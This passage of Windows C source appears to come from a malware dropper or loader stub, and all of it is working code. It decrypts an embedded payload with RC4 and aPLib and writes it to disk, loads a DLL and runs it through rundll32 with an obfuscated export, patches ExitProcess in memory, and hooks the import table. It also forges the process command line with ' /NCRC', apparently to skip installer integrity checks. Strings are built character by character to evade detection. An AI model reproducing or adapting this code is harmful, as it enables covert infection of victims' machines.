PIMAGE_DATA_DIRECTORY pExportDir = &pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (pExportDir->Size == 0 || pExportDir->VirtualAddress == 0)
return pFunction;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY) ((PBYTE)pExportDir->VirtualAddress + (ULONG)hModule);
pExportDirectory->AddressOfNames += DWORD(hModule);
pExportDirectory->AddressOfFunctions += DWORD(hModule);
pExportDirectory->AddressOfNameOrdinals += DWORD(hModule);
LPDWORD ptrFunctions = (LPDWORD) pExportDirectory->AddressOfFunctions;
LPDWORD ptrNames = (LPDWORD) pExportDirectory->AddressOfNames;
for(DWORD i = 0; i < pExportDirectory->NumberOfNames; i++)
{
ptrFunctions[i] += (DWORD) hModule;
ptrNames[i] += (DWORD) hModule;
pFunction = ptrFunctions[i];
}
return pFunction;
}
__forceinline void ldr_reloc(LPVOID pModule, PIMAGE_NT_HEADERS pImageNtHeader)
{
DWORD dwRelocSize = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
DWORD dwRelocAddr = pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if (dwRelocAddr == 0 || dwRelocSize == 0)
return;
LPBYTE lpPtr = CALC_OFFSET(LPBYTE, pModule, dwRelocAddr);
while(dwRelocSize > 0)
{
base_relocation_block_t block;
_MEMCPY_(&block, lpPtr, sizeof(base_relocation_block_t));
dwRelocSize -= block.BlockSize;
lpPtr += sizeof(base_relocation_block_t);
block.BlockSize -= 8;
while(block.BlockSize)
{
base_relocation_entry_t entry;
_MEMCPY_(&entry, lpPtr, sizeof(WORD));
LPDWORD ptrOffset = CALC_OFFSET(LPDWORD, pModule, block.PageRVA + entry.offset);
DWORD dwOldValue = *ptrOffset;
DWORD dwNewValue = dwOldValue -
pImageNtHeader->OptionalHeader.ImageBase +
(DWORD) pModule;
LPWORD ptrHighOffset = CALC_OFFSET_DISP(LPWORD, pModule, block.PageRVA + entry.offset, 2);
LPWORD ptrLowOffset = CALC_OFFSET_DISP(LPWORD, pModule, block.PageRVA + entry.offset, 0);
WORD wLowNewOffset = (WORD) ((DWORD) pModule & 0xffff);
WORD wHighNewOffset = (WORD) (((DWORD) pModule & 0xffff0000) >> 16);
switch(entry.type)
{
// The base relocation is skipped. This type can be used to pad a block.
case IMAGE_REL_BASED_ABSOLUTE:
//std::cout << "Unsupported" << std::endl;
break;
// The base relocation adds the high 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the high value of a 32-bit word.
case IMAGE_REL_BASED_HIGH:
//*ptrHighOffset = *ptrHighOffset - wHighNewOffset;
break;
// The base relocation adds the low 16 bits of the difference to the 16-bit field at offset. The 16-bit field represents the low half of a 32-bit word.
case IMAGE_REL_BASED_LOW:
break;
// The base relocation applies all 32 bits of the difference to the 32-bit field at offset
case IMAGE_REL_BASED_HIGHLOW:
*ptrOffset = dwNewValue;
break;
// The base relocation adds the high 16 bits of the difference to the 16bit field at offset. The 16-bit field represents the high value of a 32-bit word.
// The low 16 bits of the 32-bit value are stored in the 16-bit word that follows this base relocation. This means that this base relocation occupies two slots.
case IMAGE_REL_BASED_HIGHADJ:
break;
// The base relocation applies the difference to the 64-bit field at offset.
case IMAGE_REL_BASED_DIR64:
break;
}
// FIX ENTRY++
lpPtr += sizeof(base_relocation_entry);
block.BlockSize -= 2;
}
}
}
BOOL WINAPI DumpFile(CHAR * fileName, CHAR* fileData, DWORD dataSize, DWORD originalSize, PMY_DATA pData)
{
DWORD dwUnpackedSize = 0;
PCHAR pPackedBuffer;
PCHAR pUnpackedBuffer;
pPackedBuffer = (PCHAR)pData->VirtualAlloc(NULL, dataSize, MEM_COMMIT, PAGE_READWRITE);
pUnpackedBuffer = (PCHAR)pData->VirtualAlloc(NULL, originalSize, MEM_COMMIT, PAGE_READWRITE);
_MEMCPY_(pPackedBuffer, fileData, dataSize);
RC4_SKIP pfn_rc4skip = (RC4_SKIP) (((PCHAR)pData->header) + pData->header->functions.rc4.offset);
pfn_rc4skip((PBYTE)pData->header->rc4key, RC4KEYLEN, 0, (PBYTE)pPackedBuffer, dataSize, pData);
dwUnpackedSize = aP_depack(pPackedBuffer, pUnpackedBuffer);
pData->VirtualFree(pPackedBuffer, 0, MEM_RELEASE);
if (dwUnpackedSize != originalSize)
return FALSE;
HANDLE hFile = pData->CreateFileA(fileName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile == INVALID_HANDLE_VALUE)
return FALSE;
DWORD dwWritten = 0;
BOOL bRet = pData->WriteFile(hFile, pUnpackedBuffer, originalSize, &dwWritten, NULL);
pData->CloseHandle(hFile);
pData->VirtualFree(pUnpackedBuffer, 0, MEM_RELEASE);
if (bRet == FALSE)
return FALSE;
pData->SetFileAttributesA(fileName, FILE_ATTRIBUTE_NORMAL);
return TRUE;
}
FUNCTION_END(DumpFile);
DWORD WINAPI CoreThreadProc(__in PMY_DATA pData)
{
PCHAR pCompletePath = NULL;
PCHAR pFunctionName = NULL;
LPSTARTUPINFO pStartupInfo = NULL;
LPPROCESS_INFORMATION pProcInfo = NULL;
CHAR strRunDLL[] = { '%', 's', 'y', 's', 't', 'e', 'm', 'r', 'o', 'o', 't', '%', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'r', 'u', 'n', 'd', 'l', 'l', '3', '2', '.', 'e', 'x', 'e', ' ', '"', 0x0 };
CHAR strComma[] = { '"', ',', 0x0 };
CHAR strHFF5[11];
CHAR strHFF8[11];
_MEMSET_(strHFF5, 0x0, 11);
_MEMSET_(strHFF8, 0x0, 11);
_MEMCPY_(strHFF5, pData->header->eliteExports, 10);
_MEMCPY_(strHFF8, pData->header->eliteExports+11, 10);
pCompletePath = (PCHAR)pData->VirtualAlloc(NULL, 32767, MEM_COMMIT, PAGE_READWRITE);
_MEMSET_(pCompletePath, 0x0, 32767);
_MEMCPY_(pCompletePath, strRunDLL, _STRLEN_(strRunDLL));
_STRCAT_(pCompletePath, pData->header->dllPath);
_STRCAT_(pCompletePath, strComma);
_STRCAT_(pCompletePath, strHFF8);
HMODULE hLib = pData->LoadLibraryA(pData->header->dllPath);
if (hLib == INVALID_HANDLE_VALUE)
goto THREAD_EXIT;
pFunctionName = (PCHAR)pData->VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
_MEMSET_(pFunctionName, 0x0, 4096);
_MEMCPY_(pFunctionName, strHFF5, _STRLEN_(strHFF5));
HFF5 pfn_HFF5 = (HFF5) pData->GetProcAddress(hLib, pFunctionName);
if (pfn_HFF5 == NULL)
goto THREAD_EXIT;
pStartupInfo = (LPSTARTUPINFO) pData->VirtualAlloc(NULL, sizeof(STARTUPINFO), MEM_COMMIT, PAGE_READWRITE);
pStartupInfo->cb = sizeof(STARTUPINFO);
pProcInfo = (LPPROCESS_INFORMATION) pData->VirtualAlloc(NULL, sizeof(PROCESS_INFORMATION), MEM_COMMIT, PAGE_READWRITE);
pfn_HFF5(pCompletePath, NULL, pStartupInfo, pProcInfo);
THREAD_EXIT:
if (pCompletePath)
pData->VirtualFree(pCompletePath, 0, MEM_RELEASE);
if (pFunctionName)
pData->VirtualFree(pFunctionName, 0, MEM_RELEASE);
if (pStartupInfo)
pData->VirtualFree(pStartupInfo, 0, MEM_RELEASE);
if (pProcInfo)
pData->VirtualFree(pProcInfo, 0, MEM_RELEASE);
if (pData->header->dllPath)
pData->VirtualFree(pData->header->dllPath, 0, MEM_RELEASE);
// done.
pData->header->synchro = 1;
return 0;
}
FUNCTION_END(CoreThreadProc);
VOID WINAPI ExitProcessHook(__in UINT uExitCode)
{
DWORD dwCurrentAddr = 0;
DWORD dwMagic = 0;
// Get current EIP in dwCurrentAddr
__asm{
call lbl_ref1
lbl_ref1:
pop dwCurrentAddr
}
// *** Find the ending marker of data section <E>
while ( dwMagic != 0x003E453C )
dwMagic = (DWORD)(*(DWORD *)(--dwCurrentAddr));
// *** Total size of data section
dwCurrentAddr -= sizeof(DWORD);
DWORD dwDataSize = (DWORD)(*(DWORD*)(dwCurrentAddr));
// *** Pointer to data section header
DataSectionHeader *header = (DataSectionHeader*) (dwCurrentAddr - dwDataSize);
LOADLIBRARY pfn_LoadLibrary = resolveLoadLibrary();
GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();
char strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
char strSleep[] = { 'S', 'l', 'e', 'e', 'p', 0x0 };
char strExitProcess[] = { 'E', 'x', 'i', 't', 'P', 'r', 'o', 'c', 'e', 's', 's', 0x0 };
CHAR strVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't', 0x0 };
CHAR strVirtualQuery[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'Q', 'u', 'e', 'r', 'y', 0x0 };
VIRTUALPROTECT pfn_VirtualProtect = (VIRTUALPROTECT)pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualProtect);
VIRTUALQUERY pfn_VirtualQuery = (VIRTUALQUERY)pfn_GetProcAddress(pfn_LoadLibrary(strKernel32), strVirtualQuery);
HMODULE hMod = pfn_LoadLibrary(strKernel32);
SLEEP pfn_Sleep = (SLEEP) pfn_GetProcAddress(hMod, strSleep);
EXITPROCESS pfn_ExitProcess = (EXITPROCESS) pfn_GetProcAddress(hMod, strExitProcess);
PBYTE pExitProcessAddr = (PBYTE) pfn_ExitProcess;
while (header->synchro != 1)
pfn_Sleep(100);
ULONG uOldProtect;
MEMORY_BASIC_INFORMATION mbi;
pfn_VirtualQuery((PVOID)pExitProcessAddr, &mbi, sizeof(MEMORY_BASIC_INFORMATION));
pfn_VirtualProtect(mbi.BaseAddress, mbi.RegionSize, PAGE_EXECUTE_READWRITE, &uOldProtect);
BYTE pData[] = { 0x8b, 0xc0, 0x55, 0x8b, 0xec }; // so lame.
_MEMCPY_(pExitProcessAddr, pData, 5);
pfn_VirtualProtect(mbi.BaseAddress, mbi.RegionSize, uOldProtect, &uOldProtect);
pfn_ExitProcess(0);
}
FUNCTION_END(ExitProcessHook);
DWORD HookIAT(char* dll, char* name, DWORD hookFunc, UINT_PTR IAT_rva, DWORD imageBase, PMY_DATA pData)
{
HMODULE modHandle = pData->GetModuleHandle(dll);
// check if dll is loaded
if(modHandle == NULL)
return -1;
// function address we're going to hook
DWORD needAddress = (DWORD)pData->GetProcAddress(modHandle, name);
IMAGE_IMPORT_DESCRIPTOR const * lpImp = (IMAGE_IMPORT_DESCRIPTOR *)((UINT_PTR)imageBase + IAT_rva);
while(lpImp->Name)
{
CHAR* dllName_RO = (CHAR*)((UINT_PTR)imageBase) + lpImp->Name;
CHAR* dllName = (CHAR*) pData->VirtualAlloc(NULL, _STRLEN_(dllName_RO) + 1, MEM_COMMIT, PAGE_READWRITE);
if(dllName == NULL)
return -1;
_MEMCPY_(dllName, dllName_RO, _STRLEN_(dllName_RO) + 1);
if(!_STRCMPI_(dllName, dll))
{
UINT_PTR dwOriginalThunk = (lpImp->OriginalFirstThunk ? lpImp->OriginalFirstThunk : lpImp->FirstThunk);
IMAGE_THUNK_DATA const *itd = (IMAGE_THUNK_DATA *)(imageBase + dwOriginalThunk);
UINT_PTR dwThunk = lpImp->FirstThunk;
IMAGE_IMPORT_BY_NAME const * name_import = (IMAGE_IMPORT_BY_NAME *)(imageBase + itd->u1.AddressOfData);
DWORD* ptrToCallAddr = (DWORD*) (imageBase + dwThunk);
do
{
if(needAddress == *ptrToCallAddr)
{
DWORD oldProtect = 0;
MEMORY_BASIC_INFORMATION * mbi = (MEMORY_BASIC_INFORMATION *)
pData->VirtualAlloc(
NULL,
sizeof(MEMORY_BASIC_INFORMATION),
MEM_COMMIT,
PAGE_READWRITE);
pData->VirtualQuery((LPCVOID)ptrToCallAddr, mbi, sizeof(MEMORY_BASIC_INFORMATION));
pData->VirtualProtect(mbi->BaseAddress, mbi->RegionSize, PAGE_EXECUTE_READWRITE, &oldProtect);
*ptrToCallAddr = (DWORD) hookFunc;
pData->VirtualProtect(mbi->BaseAddress, mbi->RegionSize, oldProtect, NULL);
pData->VirtualFree(mbi, 0, MEM_RELEASE);
pData->VirtualFree(dllName, 0, MEM_RELEASE);
return 0;
}
ptrToCallAddr++;
}
while(*ptrToCallAddr != NULL);
}
pData->VirtualFree(dllName, 0, MEM_RELEASE);
lpImp++;
}
return -1;
}
FUNCTION_END(HookIAT);
LPSTR WINAPI GetCommandLineAHook()
{
GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();
LOADLIBRARY pfn_LoadLibraryA = resolveLoadLibrary();
CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };
CHAR strGetCommandLineA[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'A', 0x0 };
VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strVirtualAlloc);
GETCOMMANDLINEA pfn_OriginalGetCommandLineA = (GETCOMMANDLINEA) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strGetCommandLineA);
LPSTR OriginalCommandLine = pfn_OriginalGetCommandLineA();
ULONG uLen = _STRLEN_(OriginalCommandLine);
LPSTR FakeCommandLine = (LPSTR)pfn_VirtualAlloc(NULL, uLen + 7, MEM_COMMIT, PAGE_READWRITE);
_MEMCPY_(FakeCommandLine, OriginalCommandLine, uLen);
*(PUSHORT)&FakeCommandLine[uLen] = 0x2f20; // '/ '
*(PULONG)&FakeCommandLine[uLen+2] = 0x4352434e; // 'NCRC'
FakeCommandLine[uLen+6] = 0x0;
return FakeCommandLine;
}
FUNCTION_END(GetCommandLineAHook);
LPWSTR WINAPI GetCommandLineWHook()
{
GETPROCADDRESS pfn_GetProcAddress = resolveGetProcAddress();
LOADLIBRARY pfn_LoadLibraryA = resolveLoadLibrary();
CHAR strKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', 0x0 };
CHAR strVirtualAlloc[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'A', 'l', 'l', 'o', 'c', 0x0 };
CHAR strGetCommandLineW[] = { 'G', 'e', 't', 'C', 'o', 'm', 'm', 'a', 'n', 'd', 'L', 'i', 'n', 'e', 'W', 0x0 };
VIRTUALALLOC pfn_VirtualAlloc = (VIRTUALALLOC) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strVirtualAlloc);
GETCOMMANDLINEW pfn_OriginalGetCommandLineW = (GETCOMMANDLINEW) pfn_GetProcAddress(pfn_LoadLibraryA(strKernel32), strGetCommandLineW);
LPWSTR OriginalCommandLine = pfn_OriginalGetCommandLineW();
ULONG uLen = _STRLENW_(OriginalCommandLine);
LPWSTR FakeCommandLine = (LPWSTR)pfn_VirtualAlloc(NULL, uLen + 14, MEM_COMMIT, PAGE_READWRITE);
_MEMCPY_(FakeCommandLine, OriginalCommandLine, uLen);
*(PULONG)&((PBYTE)FakeCommandLine)[uLen] = 0x002f0020; // ' /'
*(PULONG)&((PBYTE)FakeCommandLine)[uLen+4] = 0x0043004e; // 'NC'
*(PULONG)&((PBYTE)FakeCommandLine)[uLen+8] = 0x00430052; // 'RC'
*(PUSHORT)&((PBYTE)FakeCommandLine)[uLen+12] = 0x0000;
return FakeCommandLine;
}
FUNCTION_END(GetCommandLineWHook);
void ArcFour(
const unsigned char *key,
size_t keylen,
size_t skip,
unsigned char *data,
size_t data_len,
PMY_DATA pData)
{
unsigned int i, j, k;
unsigned char *pos;
size_t kpos;
unsigned char *S = (unsigned char*) pData->VirtualAlloc(NULL, 256, MEM_COMMIT, PAGE_READWRITE);
/* Setup RC4 state */
for (i = 0; i < 256; i++)
S[i] = i;
j = 0;
kpos = 0;
for (i = 0; i < 256; i++) {
j = (j + S[i] + key[kpos]) & 0xff;
kpos++;
if (kpos >= keylen)
kpos = 0;
S_SWAP(i, j);
}
/* Skip the start of the stream */
i = j = 0;
for (k = 0; k < skip; k++) {
i = (i + 1) & 0xff;
j = (j + S[i]) & 0xff;
S_SWAP(i, j);
}
/* Apply RC4 to data */
pos = data;
for (k = 0; k < data_len; k++) {
i = (i + 1) & 0xff;
j = (j + S[i]) & 0xff;
S_SWAP(i, j);
*pos++ ^= S[(S[i] + S[j]) & 0xff];
}
pData->VirtualFree(S, 0, MEM_RELEASE);
}
FUNCTION_END(ArcFour);
#pragma code_seg()
#pragma optimize( "", on )